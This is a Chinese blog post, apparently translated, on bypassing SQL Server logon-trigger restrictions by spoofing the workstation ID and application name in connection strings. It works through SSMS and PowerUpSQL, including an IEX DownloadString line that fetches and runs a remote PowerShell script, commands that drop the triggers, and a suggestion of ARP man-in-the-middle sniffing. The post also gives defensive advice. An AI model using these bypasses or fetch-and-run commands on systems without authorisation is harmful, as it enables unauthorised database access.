渗透测试技巧:绕过SQL Server登录触发器限制
在渗透测试中,对直接连接到SQL Server数据库的双层桌面应用程序进行渗透测试是很常见的一种情况。偶尔我们会遇到一个SQL Server后端,但它只允许来自预先定义好的的主机名或应用程序列表的连接。一般来说,这些限制是通过登录触发器强制执行的。在这篇博文中,我将展示如何通过使用鲜为人知的连接字符串属性欺骗主机名和应用程序名称来绕过这些限制。本文有两个示例,分别是SSMS和PowerUpSQL。这可能对于使用传统桌面应用程序的渗透测试人员和开发人员非常有用。
登录触发器本质上是一个存储过程,在连接SQL Server成功验证后执行,但在登录会话创建之前,实际上已经完全建立了登录触发器。它们通常用于以编程的方式基于一天中的时间,主机名,应用程序名称和单个用户的并发会话数来限制对SQL Server的访问。
如果你还没有安装SQL Server并且想要跟着本文操作,那么下面是一些可以帮助你入门的资源。
1.从这里下载并安装SQL Server 。
2.从此处下载并安装SQL Server Management Studio Express(SSMS)。
下面是在家庭实验室中设置触发器的操作说明,该触发器根据连接的工作站名称来限制访问。
1.使用SSMS以sysadmin身份登录到新的SQL Server实例。
2.首先,让我们看一下使用下面的命令连接到SQL Server实例的工作站的名称。默认情况下,使用的是连接到SQL Server实例的工作站的主机名。SELECT HOST_NAME()
3.创建一个仅允许白名单主机名连接的登录触发器。完全按照下面给出的的代码执行触发器。
-- Create our logon trigger
CREATE TRIGGER MyHostsOnly
ON ALL SERVER
FOR LOGON
AS
BEGIN
IF
(
-- White list of allowed hostnames are defined here.
HOST_NAME() NOT IN ('ProdBox','QaBox','DevBox','UserBox')
)
BEGIN
RAISERROR('You are not allowed to login from this hostname.', 16, 1);
ROLLBACK;
END
END
5.设置完登录触发器后,当你尝试再次使用SSMS登录时,应该会出现类似于下面的错误,因为你使用了不在白名单内的主机名进行了连接。
对于绕过这个问题,你可能会问,“攻击者什么时候才会在实际的渗透测试中用到这种绕过?” 这通常是在你从配置文件或反编译代码中拿到了连接字符串之后,希望使用该信息直接连接到后端SQL Server时会用到这种绕过技术。这是针对应用程序的渗透测试中非常常见的情况,但我们还可能会在渗透测试人员和红队交战期间在打开的文件共享上找到一些内部应用程序和配置文件。
言归正传,让我们继续在SSMS中欺骗主机名限制。
1.在SSMS中打开“连接对象资源管理器”并导航到选项 - >“其他连接参数”。从那里你可以动态设置连接字符串属性(这个功能太酷了)。在这个例子中,我们将“工作站ID”属性设置为“DevBox”,这个是我们已知的白名单主机名。注意:稍后我将介绍几种识别白名单主机名的方法。
2.点击连接登录。如果你打开查询窗口并再次检查主机名,则应该返回的是“DevBox”。这进一步说明了我们成功的绕过了主机名限制。SELECT HOST_NAME()
实际上,SSMS只是使用了我们的“工作站ID”属性集构建了连接字符串。下面是一个简单连接字符串的示例,它会以当前Windows用户连接到远程SQL Server实例,并选择“Master”数据库。
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;
如果我们在上一节中实现的登录触发器已创建,我们应该会看到“连接失败”的消息。但是,如果将“工作站ID”属性设置为白名单里的主机名,则可以成功登录。
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;Workstation ID = DevBox;
我还在PowerUpSQL 中的Get-sqlquery函数中添加了“WorkstationId”这个参数选项。如果我能腾出更多的时间,我会努力改进其他功能。现在,我会展示一个示例,说明如何绕过我们在上一节中创建的登录触发器。
1.打开Powershell并通过你首选的方法加载PowerUpSQL。下面的示例显示了如何直接从GitHub加载代码。
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
2.由于触发器的限制,初始连接失败。请注意,这里我设置了“-ReturnError”标志,目的是查看服务器返回的错误。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT host_name()" -ReturnError
5.现在将workstationid选项的参数值设置为“DevBox”,就可以成功执行SQL查询语句。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT host_name()" -WorkstationId "DevBox"
6.要删除触发器,你可以使用以下命令。Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -WorkstationId "DevBox" -Query 'DROP TRIGGER MyHostsOnly on all server'
以下是在家庭实验室中设置触发器的操作说明,该触发器根据连接的应用程序名称来限制访问。
1.使用SSMS以sysadmin身份登录到新的SQL Server实例。
2.首先,让我们看一下使用以下命令连接到SQL Server实例的应用程序的名称。它应该返回的是“Microsoft SQL Server Management Studio - Query”。
SELECT APP_NAME()
3.创建一个仅允许白名单内的应用程序进行连接的登录触发器。你可以完全按照下面所示的代码执行触发器。
CREATE TRIGGER MyAppsOnly
ON ALL SERVER
FOR LOGON
AS
BEGIN
IF
(
-- Set the white list of application names here
APP_NAME() NOT IN ('Application1','Application2','SuperApp3000','LegacyApp','DevApp1')
)
BEGIN
RAISERROR('You are not allowed to login from this application name.', 16, 1);
ROLLBACK;
END
END
你可能会再一次问,“我在实际的渗透测试中什么时候才会遇用到这种绕过?”。一般来说,某些应用程序会静态设置其名称用于连接SQL Server的字符串。与主机名类似,我们在配置文件和源代码中可以找到应用程序名称。实际上很少见到登录触发器会用应用程序名称来限制访问,但我也确实遇到过几次。
好吧,下面让我们在SSMS中欺骗应用程序名称。
1.在SSMS中打开“连接对象资源管理器”并导航到选项 - >“其他连接参数”。从那里你可以动态设置连接字符串属性。在这个例子中,我们将“应用程序名称”属性设置为“SuperApp3000”,这是已知的白名单应用程序名称。注意:稍后我将介绍几种识别白名单应用程序名称的方法。
2.点击连接进行登录。如果你再次打开查询窗口并检查应用程序名称,则会返回“SuperApp3000”。这进一步说明了我们成功的欺骗了主机名。SELECT APP_NAME()
正如我在上一节中提到的,有一个名为“AppName”的连接字符串属性,应用程序可以使用这个属性来为SQL Server定义其应用程序名称。以下是一些可接受的示例格式。
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True; Application Name =MyApp"
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True; ApplicationName =MyApp"
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True; AppName =MyApp"
为了有助于说清楚应用程序的名称欺骗的使用场景,我已经更新了PowerUpSQL的Get-SQLQuery函数,新增了“APPNAME”选项参数。下面是一个基本的示例。
1.打开Powershell并通过你喜欢的方法加载PowerUpSQL。下面的示例显示了如何直接从GitHub加载代码。
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
2.PowerUpSQL函数封装了.NET 的SQL Server函数。使用.NET以编程的方式连接到SQL Server时,默认情况下“appname”属性设置为“.Net SqlClient Data Provider”。但是,由于我们创建了一个新的登录触发器并通过“appname”限制访问,所以我们会得到以下错误。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT app_name()" -ReturnError
3.现在将“appname”属性设置为“SuperApp3000”,就可以成功执行查询。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT app_name()" -AppName SuperApp3000
4.要删除触发器,你可以执行下面的命令。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -AppName SuperApp3000 -Query 'DROP TRIGGER MyAppsOnly on all server'
5.现在你可以连接但不需要欺骗应用程序名称,那么你可以执行下面的命令
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query 'SELECT APP_NAME()'
6.或者你可以使用任何应用程序名称连接SQL Server。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -AppName EvilClient -Query 'SELECT APP_NAME()'
如果你不确定登录触发器的白名单中有哪些主机名和应用程序,那么下面是一些可能有用的方法。
查看登录触发器源代码
获取登录触发器列出的主机名和应用程序白名单的完整列表的最佳方法是查看源代码。但是,在大多数情况下,需要特权访问才能看到源代码。
SELECT name,
OBJECT_DEFINITION(OBJECT_ID) as trigger_definition,
parent_class_desc,
create_date,
modify_date,
is_ms_shipped,
is_disabled
FROM sys.server_triggers
ORDER BY name ASC
有时候,允许连接的主机名和应用程序会被硬编码到应用程序中。如果你遇到的是.NET或Java应用程序,则可以反编译并在源代码中查看该程序所使用的连接字符串。此方法假定你可以访问应用程序集或配置文件。JD-GUI和DNSPY可以用于反编译。
查看应用程序流量
有时候,应用程序启动时会从数据库服务器中获取允许的主机名和应用程序。因此,你可以使用自己喜欢的嗅探器来获取白名单列表。这个方法我屡试不爽。你可能会问,为什么有人会这样做?可能没有人会知道。
使用域系统列表
如果你已拥有域帐户,则可以在Active Directory中查询域计算机列表。然后,你可以遍历列表,直到尝试出允许连接的列表。在这种情况下,当前登录的域用户需要具有登录SQL Server的权限,并且列出的白名单内的主机名与域有关联。
使用MITM嗅探连接
你还可以执行基于ARP的中间人(MITM)攻击,拦截从远程系统到SQL Server的连接。如果连接已加密(自SQL Server 2014开始传输默认会加密),你将看不到流量,但你仍然可以看到正在连接的主机。当然也可以使用其他MITM技术。
注意:如果需要证书验证,那么这可能会导致数据包丢失并对生产系统产生影响,因此请谨慎使用该方法。
· 不要在登录触发器中使用客户端可以轻松更改的信息来限制对SQL Server的访问。
· 如果你希望限制对白名单列表的访问,请考虑使用网络防火墙或主机级防火墙规则而不是登录触发器。
· 可以考虑根据用户组和分配的权限来限制对SQL Server的访问,而不是使用登录触发器。
在本博文中,我介绍了一些利用鲜有人知的连接字符串属性来绕过SQL Server登录触发器强制执行的访问限制的方法。如果你对传统桌面应用程序进行渗透测试,那么希望本文对你有用。与此同时,本博文也意在强调,在构建桌面应用程序时需要避免的一些事情。此外,我还更新了“SQL Server连接字符串的手册”,你可以在这里找到。
· https://gist.github.com/nullbind/91c573b0e27682733f97d4e6eebe36f8
· https://docs.microsoft.com/en-us/sql/relational-databases/triggers/logon-triggers?view=sql-server-2017
· https://blog.sqlauthority.com/2018/04/14/sql-server-be-careful-with-logon-triggers-dont-use-host_name/